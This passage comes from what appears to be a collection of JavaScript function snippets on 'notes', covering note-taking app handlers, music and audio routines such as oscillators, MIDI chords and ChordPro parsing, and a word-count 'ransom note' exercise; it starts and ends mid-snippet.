currentArticle._id).then(function (data) {\n // Constructing our initial HTML to add to the notes modal\n var modalText = $(\"<div class='container-fluid text-center'>\").append(\n $(\"<h4>\").text(\"Notes For Article: \" + currentArticle._id),\n $(\"<hr>\"),\n $(\"<ul class='list-group note-container'>\"),\n $(\"<textarea placeholder='New Note' rows='4' cols='60'>\"),\n $(\"<button class='btn btn-success save'>Save Note</button>\")\n );\n // Adding the formatted HTML to the note modal\n bootbox.dialog({\n message: modalText,\n closeButton: true\n });\n var noteData = {\n _id: currentArticle._id,\n notes: data || []\n };\n // Adding some information about the article and article notes to the save button for easy access\n // When trying to add a new note\n $(\".btn.save\").data(\"article\", noteData);\n // renderNotesList will populate the actual note HTML inside of the modal we just created/opened\n renderNotesList(noteData);\n });\n }", "function playNotes(notes) {\n // save for reference\n previousNotes = notes;\n // iterate through the notes\n for (var i = 0; i < notes.length; i++) {\n // TODO stop the oscillator if note is null\n // TODO keep it going if it's the same\n // TODO set new otherwise\n if (notes[i] && currentMode[i]) {\n oscillators[i].frequency.value = currentMode[i];\n oscillators[i].type = types[ notes[i]-1 ];\n } else {\n oscillators[i].frequency.value = 0;\n }\n\n }\n }", "writeNotes() {\n let innerStringsArray; // Array we will use to write to HTML elements\n if(sharpRoots.includes(key)) \n innerStringsArray = chromaticSharps; // Get the\"sharp\" string from the parallel chromaticSharps array\n else \n innerStringsArray = chromatic;\n this.container.querySelector(\".tune-note\").innerHTML = innerStringsArray[chromatic.indexOf(this.note)];\n for(let i = chromatic.indexOf(this.note), j = 0; j < this.fretContainer.length; j++, i = (i + 1) % chromatic.length) {\n let noteHTML = this.fretContainer[j].querySelector(\".fret-note\");\n noteHTML.innerHTML = innerStringsArray[i];\n this.clearNoteClasses(this.fretContainer[j].classList, i);\n this.fretContainer[j].classList.add(chromatic[i]); // classList.add() ignores existing classes in subsequent calls\n }\n }", "function ParsedNoteSection (props) {\n let { classes, onAddSuggestion, tooltips, text, offset } = props;\n let hasMatch = tooltips.length > 0;\n let frontMatter = text;\n if (hasMatch) {\n var matches = tooltips.sort( (e1, e2) => (e1.start-e2.start) );\n var firstMatch = matches[0];\n // The front matter is the text before the first match begins\n frontMatter = text.substring(0, firstMatch.start-offset);\n var matchID = firstMatch[ONTOLOGY_KEY]; // TODO: Handle more than just HPO\n var matchName = firstMatch[\"names\"][0];\n\n // The contained matter is the text inside the first match\n var containedMatches = matches.filter( (el) => (\n el.start >= firstMatch.start && el.end <= firstMatch.end && !(el.start == firstMatch.start && el.end == firstMatch.end)\n ));\n var containedMatter = text.substring(firstMatch.start-offset, firstMatch.end-offset);\n\n // The uncontained matter is the text after the first match, up until the end of the last match\n // (It still needs to be parsed for more notes)\n var uncontainedMatches = matches.filter( (el) => (el.end > firstMatch.end));\n var lastMatch = Math.max(...(tooltips.map((el) => (el.end))));\n var middleMatter = text.substring(firstMatch.end-offset, lastMatch-offset);\n\n // The end matter is the text after the last match\n var endMatter = text.substring(lastMatch-offset);\n }\n\n // Handle the user clicking on a chip which corresponds to a suggestion\n let addSuggestion = (event) => {\n event.preventDefault();\n onAddSuggestion(firstMatch[ONTOLOGY_KEY].replace(/:/g, \"\"), firstMatch[\"names\"][0])\n }\n\n return (<React.Fragment>\n <Typography display=\"inline\">{frontMatter}</Typography>\n {hasMatch &&\n <React.Fragment>\n <Tooltip title={`Add ${matchName} (${matchID}) to selection`}>\n <Chip\n size=\"small\"\n onClick={addSuggestion}\n color=\"info\"\n label={\n <ParsedNoteSection\n tooltips={containedMatches}\n text={containedMatter}\n offset={firstMatch.start}\n classes={classes}\n onAddSuggestion={onAddSuggestion}\n />\n }\n />\n </Tooltip>\n <ParsedNoteSection\n tooltips={uncontainedMatches}\n text={middleMatter}\n offset={firstMatch.end}\n classes={classes}\n onAddSuggestion={onAddSuggestion}\n />\n <Typography display=\"inline\">{endMatter}</Typography>\n </React.Fragment>}\n </React.Fragment>)\n}", "function preprocessNotes(notes, subBeatLength) {\n // add property with quantized version of note starts\n notes.forEach(note => {\n note.subbeat = Math.round(note.time / subBeatLength);\n });\n // sort notes by note start time\n notes.sort((a, b) => {\n return a.time - b.time\n })\n }", "function NoteSave(){\n\t\tvar noteData;\n\t\tvar newNote = $(\".bootbox-body textarea\").val().trim();\n\t\tif(newNote){\n\t\t\tnoteData = {\n\t\t\t\t_id: $(this).data(\"article\")._id,\n\t\t\t\tnoteText: newNote\n\t\t\t};\n\t\t\t$.post(\"/scrape/notes\", noteData).then(function(){\n\t\t\t\tbootbox.hideAll();\n\t\t\t});\n\t\t}\n\t}", "function enterNote() {\n note = {}\n if (checkIfInputIsCorrect()) {\n // create note\n note.InputOfNote = txtArea.value;\n note.dateOfNote = dateEnterded;\n note.timeOfNote = timeEnterded;\n note.noteNum = noteNumber;\n note.secondsComp = dateEnterdedToCompare;\n noteNumber++;\n NoteArrey.push(note);\n addToLocalStorage();\n printNotes(false);\n }\n}", "function updatePreviewWithNote(sender, paeNote) {\r\n // console.log(\"key pressed is \" + paeNote)\r\n plaineEasieCodes.push(paeNote)\r\n updateNotesSVG()\r\n}", "function renderNotes() {\n noteArray = JSON.parse(localStorage.getItem(\"dayNotes\")) || [];\n $(noteArray).each(function () {\n $(\"#\" + this.id).find(\"textarea\").text(this.note)\n });\n}", "function parseChordProFormat(chordProLinesArray){\n //parse the song lines with embedded chord pro chords into individual movable words\n\n\t//clear any newline or return characters as a precaution\n\tfor(var i=0; i<chordProLinesArray.length; i++) {\n chordProLinesArray[i] = chordProLinesArray[i].replace(/(\\r\\n|\\n|\\r)/gm,\"\");\n\n\t}\n\n var lyricLine = ''; //string representing the words and chords\n\n //add lines of text to html <p> elements\n let textDiv = document.getElementById(\"text-area\")\n textDiv.innerHTML = '';\n\n for(var i=0; i<chordProLinesArray.length; i++) {\n var line = chordProLinesArray[i];\n\t textDiv.innerHTML = textDiv.innerHTML + `<p> ${line}</p>`\n\n\t lyricLine = ''; //line of lyrics and chords\n\t var upperString = '';\n\t var lowerString = '';\n\t //separate chords and lyrics by a blank. Preserve the [] characters in chord symbols\n\n\t var isChord = false;\n\t for (var charIndex = 0; charIndex < line.length; charIndex++){\n\n\t \tvar ch = line.charAt(charIndex);\n\t \tif (ch == '['){\n\t \t\tisChord = true;\n\t \t\tupperString+=\"\";\n\t \t}\n\t \telse if (ch == ']'){\n\n\t \t\tupperString += \"\";\n\t \t\tisChord = false;\n\t \t}else if (isChord){\n\t \t\tupperString += ch;\n\t \t}else{\n\t \t\tupperString += \" \";\n\t \t}\n\t }\n\n\t lyricLine = upperString;\n\t var characterWidth = canvas.getContext('2d').measureText('m').width; //width of one character\n\n\t //Make drag-able words\n\t lyricOrChord = lyricLine;\n\t lyricLine += ' '; //add blank to lyrics line just so it ends in a blank\n\t if(lyricLine.trim().length > 0){\n\t var theLyricWord = '';\n\t var theLyricLocationIndex = -1;\n\t for(var j=0; j<lyricLine.length; j++){\n\t var ch = lyricLine.charAt(j);\n\t\t if(ch == ' '){\n\t\t //start or end of word or chord symbol\n\t\t\tif(theLyricWord.trim().length > 0){\n\n\t\t\t\tif (lyricOrChord == upperString){\n\t\t\t\t\twords.push({word: theLyricWord,\n\t\t\t x: leftMargin + theLyricLocationIndex * characterWidth,\n y: topMargin + i * 2 * lineHeight + lyricLineOffset,\n\t\t\t\t\t\t chord: 'lyric'\n });\n\t\t\t\t} else{\n\t\t\t\t\twords.push({word: theLyricWord,\n\t\t\t x: leftMargin + theLyricLocationIndex * characterWidth,\n y: topMargin + i * 2 * lineHeight + lyricLineOffset,\n\t\t\t\t\t\t lyric: 'lyric'\n });\n\t\t\t\t}\n\n\t\t\t}\n\t\t theLyricWord = '';\n\t\t\ttheLyricLocationIndex = -1;\n\n\t\t }\n else{\n\t\t //its part of a lyric word\n\t\t\ttheLyricWord += ch;\n\t\t\tif(theLyricLocationIndex === -1) theLyricLocationIndex = j;\n\t\t }\n\t }\n\t } //end make lyric chord words\n\n\t for (var charIndex = 0; charIndex < line.length; charIndex++){\n\n\t \tvar ch = line.charAt(charIndex);\n\t \tif (ch == '['){\n\t \t\tisChord = true;\n\t \t\tlowerString+=\" \";\n\t \t}\n\t \telse if (ch == ']'){\n\n\t \t\tlowerString += \" \";\n\t \t\tisChord = false;\n\t \t}else if (isChord){\n\t \t\tlowerString += \"\";\n\t \t}else{\n\t \t\tlowerString += ch;\n\t \t}\n\t }\n\n\t lyricLine = lowerString;\n\n\t characterWidth = canvas.getContext('2d').measureText('m').width; //width of one character\n\n\t //Make drag-able words\n\t lyricOrChord = lyricLine;\n\t lyricLine += ' '; //add blank to lyrics line just so it ends in a blank\n\t if(lyricLine.trim().length > 0){\n\t theLyricWord = '';\n\t theLyricLocationIndex = -1;\n\t for(var j=0; j<lyricLine.length; j++){\n\t ch = lyricLine.charAt(j);\n\t\t if(ch == ' '){\n\t\t //start or end of word or chord symbol\n\t\t\tif(theLyricWord.trim().length > 0){\n\n\t\t\t\tif (lyricOrChord == upperString){\n\t\t\t\t\twords.push({word: theLyricWord,\n\t\t\t x: leftMargin + theLyricLocationIndex * characterWidth,\n y: topMargin + i * 2 * lineHeight + lyricLineOffset,\n\t\t\t\t\t\t chord: 'lyric'\n });\n\t\t\t\t} else{\n\t\t\t\t\twords.push({word: theLyricWord,\n\t\t\t x: leftMargin + theLyricLocationIndex * characterWidth,\n y: (topMargin + i * 2 * lineHeight + lyricLineOffset) + 25,\n\t\t\t\t\t\t lyric: 'lyric'\n });\n\t\t\t\t}\n\n\t\t\t}\n\t\t theLyricWord = '';\n\t\t\ttheLyricLocationIndex = -1;\n\n\t\t }\n else{\n\t\t //its part of a lyric word\n\t\t\ttheLyricWord += ch;\n\t\t\tif(theLyricLocationIndex === -1) theLyricLocationIndex = j;\n\t\t }\n\t }\n\t } //end make lyric chord words\n\n\n\n\t // console.log(upperString);\n\n\n \t //Now turn lyrics line into individual drag-able words\n\t //Create Movable Words\n\n }\n\n}", "function addnotes() {\n const check = document.querySelector(\".addnotes\")\n if (check == null){\n const main = document.getElementById(\"main\");\n const txtarea = document.createElement('textarea' );\n txtarea.className = \"addnotes\";\n const bintxt =document.createTextNode(\"your text goes here\");\n\n txtarea.appendChild(bintxt);\n main.appendChild(txtarea);\n\n const save = document.createElement('button' );\n save.className= \"txtbtn1\"\n const btntxt = document.createTextNode(\"save\");\n\n save.appendChild(btntxt);\n main.appendChild(save);\n\n const dltbtn = document.createElement('button' );\n dltbtn.className= \"txtbtn2\"\n const dlttxt = document.createTextNode(\"delete\");\n\n dltbtn.appendChild(dlttxt);\n main.appendChild(dltbtn);\n \n //removing text area and buttons\n const removetxt= document.querySelector(\".txtbtn2\")\n removetxt.addEventListener(\"click\",function(e){\n main.removeChild(txtarea)\n main.removeChild(save)\n main.removeChild(dltbtn)\n })\n const savenote = document.querySelector(\".txtbtn1\")\n savenote.addEventListener(\"click\",function(s){\n\n if(txtarea.value!==\"your text goes here\"){\n var length = notesarr.length + 1\n var notenum = \"note\" + length.toString()\n notesarr.push({title:notenum,body: txtarea.value})\n \n //adding notes to navbar\n\n const titlebtn = document.createElement(\"button\")\n titlebtn.className= \"titlebtns\"\n const titlebtntxt = document.createTextNode(notenum)\n titlebtn.appendChild(titlebtntxt);\n sidebar.appendChild(titlebtn)\n main.removeChild(txtarea)\n main.removeChild(save)\n main.removeChild(dltbtn)\n\n const display= document.querySelector(\".titlebtns\")\n\n display.addEventListener(\"click\",function(d){\n var notenum = display.innerHTML[4]\n var displaynum = parseInt(notenum)-1\n\n var displaytext =(notesarr[displaynum].body)\n\n var displaynote = document.createElement('textarea' );\n displaynote.className = \"addnotes\";\n var notetxt =document.createTextNode(displaytext);\n\n displaynote.appendChild(notetxt);\n main.appendChild(displaynote);\n\n var cancelbtn = document.createElement(\"button\");\n var cancelbtntxt = document.createTextNode(\"cancel\");\n cancelbtn.className= \"txtbtn2\";\n \n cancelbtn.appendChild(cancelbtntxt);\n main.appendChild(cancelbtn);\n\n //removing displayed note\n\n var removedisplay = document.querySelector(\".txtbtn2\")\n console.log(removedisplay)\n removedisplay.addEventListener(\"click\",function(remove){\n\n main.removeChild(displaynote)\n main.removeChild(cancelbtn)\n })\n\n })\n\n }\n })\n \n }\n\n\n}", "function setNotes() {\n var base = 260;\n var board_height = Rooms.findOne().board.height;\n var board_width = Rooms.findOne().board.width;\n var notes = getScaleNotes(SCALE_VALUES.MAJOR, base, board_height);\n for(x = 0; x < board_width; x++) {\n for(y = 0; y < board_height; y++) {\n boardData[x][y].frequency = notes[board_height-x-1];\n boardData[x][y].title = notes[board_height-x-1];\n }\n }\n}", "function isSlurNote(i) {}", "initNotetrack() {\n\t\t// clear the existing notetrack\n\t\tif (this.notetrack.gfx) {\n\t\t\tthis.notetrack.gfx.removeAllChildren();\n\t\t}\n\t\t\n\t\t// holds the notetrack of notes\n\t\tvar notetrackGraphics = new createjs.Container();\n\t\tthis.notetrack.gfx = notetrackGraphics;\n\t\t\n\t\t// this grabs the note and mine objects\n\t\tvar notes = this.notetrack.notes;\n\t\tvar mines = this.notetrack.mines;\n\n\t\tfor (var col = 0; col < notes.length; col++) {\n\t\t\t// get the initial position of the note\n\t\t\tvar x = this.getAlignment(this.width/2, this.notetrack.keyCount, 60, 10, col);\n\n\t\t\t// iterate through the notes\n\t\t\tfor (var j = 0; j < notes[col].length; j++) {\n\t\t\t\tvar note = notes[col][j];\n\t\t\t\t// scale note position depending on default scroll speed\n\t\t\t\tvar notePos = note.pos*this.settings.scrollSpeedFactor;\n\t\t\t\tif (this.settings.scrollDirection === 'down') {\n\t\t\t\t\tvar y = this.receptors[0].y - notePos;\n\t\t\t\t} else {\n\t\t\t\t\tvar y = this.receptors[0].y + notePos;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvar color = divisionToColor(note.div);\n\n\t\t\t\tif (note.type == 'hold') {\n\t\t\t\t\t// init the graphic\n\t\t\t\t\tvar nonScaledHeight = note.end - note.pos;\n\t\t\t\t\tvar height = nonScaledHeight*this.settings.scrollSpeedFactor;\n\t\t\t\t\tvar holdGfx = this.noteskin.hold(height, color);\n\t\t\t\t\tholdGfx.x = x;\n\t\t\t\t\tholdGfx.y = y;\n\t\t\t\t\tif (this.settings.scrollDirection === 'down') {\n\t\t\t\t\t\tholdGfx.scaleY = -1;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// attach it to the note object\n\t\t\t\t\tnote.attachGfx(holdGfx);\n\t\t\t\t\t\n\t\t\t\t\t// attach graphic to the notetrack\n\t\t\t\t\t// notetrackGraphics.addChild(holdGfx);\n\n\t\t\t\t}\n\t\t\t\telse if (note.type == 'tap') {\n\t\t\t\t\t// init the graphic\n\t\t\t\t\tvar noteGfx = this.noteskin.base(color);\n\t\t\t\t\tnoteGfx.x = x;\n\t\t\t\t\tnoteGfx.y = y;\n\t\t\t\t\t\n\t\t\t\t\t// attach it to the note object\n\t\t\t\t\tnote.attachGfx(noteGfx);\n\t\t\t\t\t\n\t\t\t\t\t// attach graphic to the notetrack\n\t\t\t\t\t// notetrackGraphics.addChild(noteGfx);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t// iterate through the mines\n\t\t\tfor (var j = 0; j < mines[col].length; j++) {\n\t\t\t\tvar mine = mines[col][j];\n\t\t\t\t// scale mine position depending on default scroll speed\n\t\t\t\tvar minePos = mine.pos*this.settings.scrollSpeedFactor;\n\t\t\t\tif (this.settings.scrollDirection === 'down') {\n\t\t\t\t\tvar y = this.receptors[0].y - minePos;\n\t\t\t\t} else {\n\t\t\t\t\tvar y = this.receptors[0].y + minePos;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tvar mineGfx = this.noteskin.mine();\n\t\t\t\tmineGfx.x = x;\n\t\t\t\tmineGfx.y = y;\n\t\t\t\t\n\t\t\t\t// attach it to the note object\n\t\t\t\tmine.attachGfx(mineGfx);\n\t\t\t\t\n\t\t\t\t// attach graphic to the notetrack\n\t\t\t\tnotetrackGraphics.addChild(mineGfx);\n\t\t\t}\n\t\t}\n\t\t// attach the notetrack to the stage\n\t\tthis.stage.addChild(notetrackGraphics);\n\t}", "_playNotes(notes, instrument, filter, ) { // this function creates an oscillator and a filter node and plays the NOTESX array thats passed to it\n notes.reduce((offset, [frequency, duration]) => {\n this.oscillatorNode = this._audioContext.createOscillator();\n this.filterNode = this._audioContext.createBiquadFilter();\n this.filterNode.type = filter;\n this.filterNode.frequency.value = 300;\n this.filterNode.Q.value = 0.1;\n this.oscillatorNode.frequency.value = frequency;\n this.oscillatorNode.type = instrument;\n this.oscillatorNode.connect(this.filterNode);\n this.filterNode.connect(this._audioContext.destination);\n this.oscillatorNode.start(offset);\n this.oscillatorNode.stop((offset + duration));\n return offset + duration;\n }, this._audioContext.currentTime);\n }", "didSwitchToNoteLayout() {\n this.controllerState.viewMode = ViewMode.note;\n this.didSwitchLayout();\n }", "function getNotes(root, intervals){\n\t\tvar diatonic = new Diatonic(root);\n\t\tvar noteArray = new Array();\n\t\tnoteArray[0] = root;\n\t\t\n\t\tif(intervals !== '&nbsp;'){\n\t\t\tfor(var i = 0; i < intervals.length; i++){\n\t\t\t\tnoteArray[i + 1] = diatonic.getNextNote(intervals[i]);\n\t\t\t}\n\t\t}\n\t\treturn noteArray;\n\t}", "function loadNotes() {\n if (localStorage.notes != undefined) {\n var contents = JSON.parse(localStorage.getItem(\"notes\"));\n\n for (var i = 0; i < contents.length; i ++) {\n addNote(contents[i]);\n }\n }\n}", "function createNotes(t, c, seq) {\n\t/*if(seq != null)\n\t{\n\t setNoteSeq(seq);\n\t}\n\telse\n\t{\n\t setNoteSeq(this[templateSet[t-1].notes]);\n\t}*/\n\tvar notes = [];\n\tvar args = newGroove; //getNoteSeq();\n\tvar clip = new Clip(t, c);\n\tvar noteBlock = args.length / 2;\n\tvar changedNote;\n\tfor (var ni = 0; ni < args.length; ni++) {\n\n\t\tchangedNote = convertNote(args[ni].note);\n\t\tif (channelSequence[channelSequence.length - 1] == \"Combo\" || singleCombo) {\n\t\t\tchangedNote = args[ni].note;\n\t\t}\n\n\t\tif (args[ni].size != 0) {\n\t\t\tnotes.push(new Note(changedNote, args[ni].init, args[ni].size, 100, 0));\n\t\t}\n\t}\n\n\tclip.setNotes(notes);\n}", "function process() {\n text.split(\"\\n\").forEach((str, i) => {\n if (i <= lineCount) return;\n lineCount = i;\n if (!str) return;\n const action = JSON.parse(str);\n store.dispatch(action);\n });\n }", "function keypressEvent(e) {\n currElement = e.target.parentNode;\n let key = e.which || e.keyCode;\n let idx;\n if (key == 13) {\n e.preventDefault();\n div_id = currElement.id;\n if (div_id.includes('-')) {\n idx = div_id.split('-').length;\n // find the parent id.\n if (idx == 2) {\n parent_id = div_id.split('-').slice(0, 1).join('-');\n } else {\n // idx = 3\n parent_id = div_id.split('-').slice(0, 2).join('-');\n }\n id = ''.concat(parent_id, '-', noteId);\n } else {\n idx = 1;\n id = noteId;\n }\n\n /* If enter key is pressed on an empty sub task line then change the line type to\n\t\t\t its immediate parent type \n\t\t\t eg. Enter key of note3 will make it as note2. */\n if (\n (currElement.innerText == '' || currElement.innerText == null) &&\n idx > 1\n ) {\n if (idx == 2) {\n let newId = div_id.split('-')[1];\n document.getElementById(div_id).setAttribute('class', 'note1');\n document.getElementById(div_id).setAttribute('id', newId);\n }\n if (idx == 3) {\n let newId = ''.concat(\n div_id.split('-')[0],\n '-',\n div_id.split('-')[2],\n );\n document.getElementById(div_id).setAttribute('class', 'note2');\n document.getElementById(div_id).setAttribute('id', newId);\n }\n } else {\n let div = document.createElement('div');\n let divclass = 'note'.concat(idx);\n div.setAttribute('id', id);\n div.setAttribute('class', divclass);\n let rmBtn = getRemoveBtn();\n let subtask = getSubTaskBtn();\n let noteTxt = getNoteElement(noteId);\n noteTxt.appendChild(document.createTextNode(''));\n div.appendChild(rmBtn);\n div.appendChild(subtask);\n div.appendChild(noteTxt);\n // Insert after the current note.\n let nextSibling = currElement.nextSibling;\n while (nextSibling) {\n nextSiblingId = nextSibling.id;\n if (nextSiblingId.includes('-')) {\n nextIdx = nextSiblingId.split('-').length;\n } else {\n nextIdx = 1;\n }\n if (idx >= nextIdx) {\n break;\n } else {\n nextSibling = nextSibling.nextSibling;\n }\n }\n currElement.parentNode.insertBefore(div, nextSibling);\n div.getElementsByClassName('note')[0].focus();\n noteId++;\n }\n }\n }", "function setupNoteInputSection() {\n let notesSection = makeHTML(notesSection_raw);\n\n var detailsSection = document.querySelector(\"ytd-page-manager ytd-watch #main #meta\");\n detailsSection.parentElement.insertBefore(notesSection, detailsSection.nextSibling);\n var injectedNotesSection = document.querySelector(\"#notes-wrapper\");\n\n var notesObserver = new MutationObserver(function(mutations, observer) {\n setupExistingNotes();\n\n let mutation = mutations[0];\n let ytdItemSectionRenderer = mutation.addedNodes[1];\n let header = ytdItemSectionRenderer.childNodes[1];\n setupNoteHeader(header, observer);\n });\n notesObserver.observe(injectedNotesSection, {childList: true});\n}", "function handleNoteOn(key_number) {\n\tvar pitch = parseInt($(\"#lowestPitch\").val()) + key_number;\nif (pressed[pitch-21]) return;\n // Find the pitch\n const push = (amplitude, pitch, timeStamp, duration, type) => {\n recorded.push({'vol': amplitude, 'pitch': pitch, 'start': timeStamp, 'duration': duration, 'type': type})\n };\n \n var amplitude = parseInt($(\"#amplitude\").val());\n var timeStamp = performance.now()\n MIDI.noteOn(0, pitch, amplitude);\n pressed[pitch-21] = true;\n if (recording) push(amplitude, pitch, timeStamp, 0, document.getElementById(\"play-mode-major\").checked ? 1 : (document.getElementById(\"play-mode-minor\").checked ? 2 : 0));\n /*\n * You need to handle the chord mode here\n */\n if (document.getElementById(\"play-mode-major\").checked) {\n if (pitch+4 <= 108) {\n MIDI.noteOn(0, pitch + 4, amplitude);\n pressed[pitch+4-21] = true;\n if (recording) push(amplitude, pitch + 4, timeStamp, 0, 1);\n }\n if (pitch+7 <= 108) {\n MIDI.noteOn(0, pitch + 7, amplitude);\n pressed[pitch+7-21] = true;\n if (recording) push(amplitude, pitch + 7, timeStamp, 0, 1);\n }\n } else if (document.getElementById(\"play-mode-minor\").checked) {\n if (pitch+3 <= 108) {\n MIDI.noteOn(0, pitch + 3, amplitude);\n pressed[pitch + 3-21] = true;\n if (recording) push(amplitude, pitch + 3, timeStamp, 0, 2);\n }\n if (pitch+7 <= 108) {\n MIDI.noteOn(0, pitch + 7, amplitude);\n pressed[pitch+7-21] = true;\n if (recording) push(amplitude, pitch + 7, timeStamp, 0, 2);\n }\n }\n}", "function update(notesPresenter){ \n destroy();\n notes = notesPresenter\n const frag = document.createDocumentFragment();\n for (let i = 0; i < notes.length; i++) {\n frag.appendChild(addNote( notes[i], 'alive'));\n //for each one we add to the count of notes\n addNoteToCount();\n }\n container.append(frag);\n var containerChilds = container.children;\n drag(containerChilds)\n }", "function drawNotes(){\n if (state === 'piano'){\n \n fill(255);\n // MAKE A FOR LOOP SOON\n rect(width - 400, height/2, 150, 400);\n rect(width - 550, height/2, 150, 400);\n rect(width - 700, height/2, 150, 400);\n rect(width - 850, height/2, 150, 400);\n rect(width - 1000, height/2, 150, 400);\n rect(width - 1150, height/2, 150, 400);\n rect(width - 1300, height/2, 150, 400);\n \n \n fill(0);\n text('G', width - 400, height/2);\n text('F', width - 550, height/2);\n text('E', width - 700, height/2);\n text('D', width - 850, height/2);\n text('C', width - 1000, height/2);\n text('B', width - 1150, height/2);\n text('A', width - 1300, height/2);\n }\n}", "function harmlessRansomNote (noteText, magazineText) {\n\n//PART 1 \n//we will be using the split function using one empty space as the separator making our string into substrings. we will do this for both parameters. \n var noteArr = noteArr = noteText.split(' ');\n var magazineArr = magazineText.split(' ');\n//Using a Hash Table Technique, we want to make each word and object. \n var magazineObj ={};\n \n//With each word as an object, we will increement each word giving it a number for each time that it is in the string. \n magazineArr.forEach(word => {\n// If a word is not present onthe magazine object, then we want to make it make it a property on the object and make it equal to 0. \n if (!magazineObj[word]) magazineObj[word] = 0;\n// And we want to increment everytime we see the word. \n magazineObj[word]++;\n });\n \n// If we type nothing of PART 2, we can test to make sure the function was counting each word from the magazine text. by outputting the magazineObj after running the harmlessRansomNote with a string in the magazineText input. We can leave the noteText empty. \n // console.log(magazineObj);\n\n \n// PART 2\n \n// We will check each word to see if it is present in the magazineObj. If is is not that we will use a Boolean to confirm false. it will be true by default. \n var noteIsPossible = true;\n noteArr.forEach(word => {\n if (magazineObj[word]){\n// If the word exists then we increment the word negativley by 1\n magazineObj[word]--;\n//If the word is present then we need to make sure that we have enough of the word to suffice for the noteText\n if(magazineObj[word] < 0) noteIsPossible = false;\n }\n// If the word doesn't exist at all, then this piece of code will run the Boolean as false. \n else noteIsPossible = false;\n });\n \n// Lastly we run the noteIsPossible regardless however the code plays out. \n return noteIsPossible;\n \n}", "changePage(page) {\n let pageWrapper = document.getElementById('wrapper');\n let note;\n\n switch(page) {\n\n // Add note view\n case 'add':\n this.renderTemplate(pageWrapper, page, null, () => {\n document.getElementById('form-note-add').addEventListener('submit', this.onAddNote.bind(this));\n this.handlePriorityList();\n this.handleDatePickers();\n });\n break;\n\n // Edit note view\n case 'edit':\n this.noteModel.getNote(Url.getIdFromUrl()).then((note) => {\n this.renderTemplate(pageWrapper, page, note, () => {\n this.handlePriorityList(note.priority);\n this.handleDatePickers();\n document.getElementById('form-note-edit').addEventListener('submit', (e) => {\n this.onUpdateNote(e, note._id);\n });\n document.getElementById('item-finished').addEventListener('click', this.onToggleFinished.bind(this));\n document.getElementById('note-delete').addEventListener('click', (e) => {\n this.onDeleteNote(e, note._id);\n });\n });\n });\n break;\n\n // Home / note list view\n default:\n this.renderTemplate(pageWrapper, page, null, () => {\n // Sorting handlers\n document.querySelectorAll('[data-sort-by]').forEach((element) => {\n element.addEventListener('click', (e) => {\n const sortBy = e.target.getAttribute('data-sort-by');\n const direction = e.target.getAttribute('data-sort-direction') || 'asc';\n this.renderNotes(sortBy, this.ui.filterFinished, direction);\n this.updateSortOptions(sortBy);\n e.preventDefault();\n });\n });\n // \"Show finished\" handler\n document.getElementById('show-finished').addEventListener('click', (e) => {\n this.ui.filterFinished = !this.ui.filterFinished;\n this.renderNotes(this.ui.orderBy, this.ui.filterFinished, this.ui.direction);\n this.updateFilterOptions(this.ui.filterFinished);\n e.preventDefault();\n });\n\n // Initially render notes\n this.renderNotes(this.ui.orderBy, this.ui.filterFinished, this.ui.direction);\n this.updateSortOptions(this.ui.orderBy);\n this.updateFilterOptions(this.ui.filterFinished);\n this.handleStyleSwitcher();\n });\n break;\n }\n }", "function addNote() {\n if (noteText.value === \"\") {\n return;\n } else {\n notesCounter++;\n var note = {\n noteId: notesCounter,\n noteText: noteText.value,\n noteHead: noteHead.value,\n colorBg: noteDiv.style.background || \"rgb(255, 255, 255)\",\n tags: [],\n noteFavorite: false,\n noteFavoritePos: null,\n };\n // Add note to front end array\n notes.unshift(note);\n noteDiv.style.background = \"#ffffff\";\n renderNote(note);\n clearInputs();\n noteHead.style.display = \"none\";\n noteBot.style.display = \"none\";\n }\n console.log(note);\n }", "function setNotes(e) {\n\n\tvar cursor = e.target.result;\n\n\tif (cursor) {\n\n\t\tconsole.log(cursor.value);\n\t\tpopupPage.addNoteToView(cursor.value);\n\n\t\tcursor.continue();\n\n\t}\n\n}", "function readNotes() {\n return data;\n}", "function addHandlers() {\n notesPanel = $('#georapbox-notes-panel');\n\n notesPanel\n .on('click', '.close', togglePanel)\n .on('click', '.georapbox-notes-delete', function (e) {\n e.preventDefault();\n\n var tableRow = $(this).parents('tr');\n var id = tableRow.find('.id').html();\n var date = tableRow.find('.labelIcon').html();\n var note = tableRow.find('.note textarea').val();\n\n id = parseInt(id, 10);\n\n showDeleteNoteDialog(function () {\n deleteNote(id);\n localStorage.removeItem(STORAGE_KEY);\n storageSaveObj(localStorage, STORAGE_KEY, _notes);\n renderNotes();\n });\n })\n .on('click', '.georapbox-notes-edit', function () {\n var tableRow = $(this).parents('tr');\n var textArea = tableRow.find('textarea');\n var textareaTd = tableRow.find('.note');\n var previewTd = tableRow.find('.preview');\n\n textareaTd.show();\n previewTd.hide();\n makeEditable(textArea);\n })\n .on('focusout', 'td.note textarea', function () {\n var self = $(this);\n var noteValue, noteMarkup, noteId;\n var markupArea = self.parent().parent().find('article');\n\n if (self.hasClass('editable')) {\n noteValue = self.val();\n noteId = parseInt(self.parent().parent().find('td.id').html(), 10);\n makeReadOnly(self);\n previewMarkDown(markupArea, self.val());\n noteMarkup = self.parent().next().find('article').html();\n updateNote(noteId, noteValue, noteMarkup);\n localStorage.removeItem(STORAGE_KEY);\n storageSaveObj(localStorage, STORAGE_KEY, _notes);\n renderNotes();\n }\n })\n .on('click', '[data-id=\"georapbox-notes-new-btn\"]', showNewNoteModal)\n .on('click', '[data-id=\"georapbox-notes-import-btn\"]', showImportNotesDialog)\n .on('click', '.georapbox-notes-options-handler', function (e) {\n var options = $(this).next();\n\n e.preventDefault();\n\n if (options.is(':visible')) {\n $(this).removeClass('active');\n options.hide();\n } else {\n $(this).addClass('active');\n options.show();\n }\n })\n .on('click', '.georapbox-notes-extract', function (e) {\n var textareaVal = $(this).parents('tr').find('td.note textarea').val();\n e.preventDefault();\n openFile(textareaVal, '.md');\n })\n .on('click', '[data-id=\"georapbox-notes-export-btn\"]', function (e) {\n var notes = storageGetObj(localStorage, STORAGE_KEY) || [];\n\n e.preventDefault();\n\n try {\n openFile(JSON.stringify(notes, null, 2), '.json');\n } catch (err) {\n console.error(err);\n }\n })\n .on('dragstart', 'tr', reorder.dragndrop.handleDragStart)\n .on('dragenter', 'tr', reorder.dragndrop.handleDragEnter)\n .on('dragover', 'tr', reorder.dragndrop.handleDragOver)\n .on('dragleave', 'tr', reorder.dragndrop.handleDragLeave)\n .on('drop', 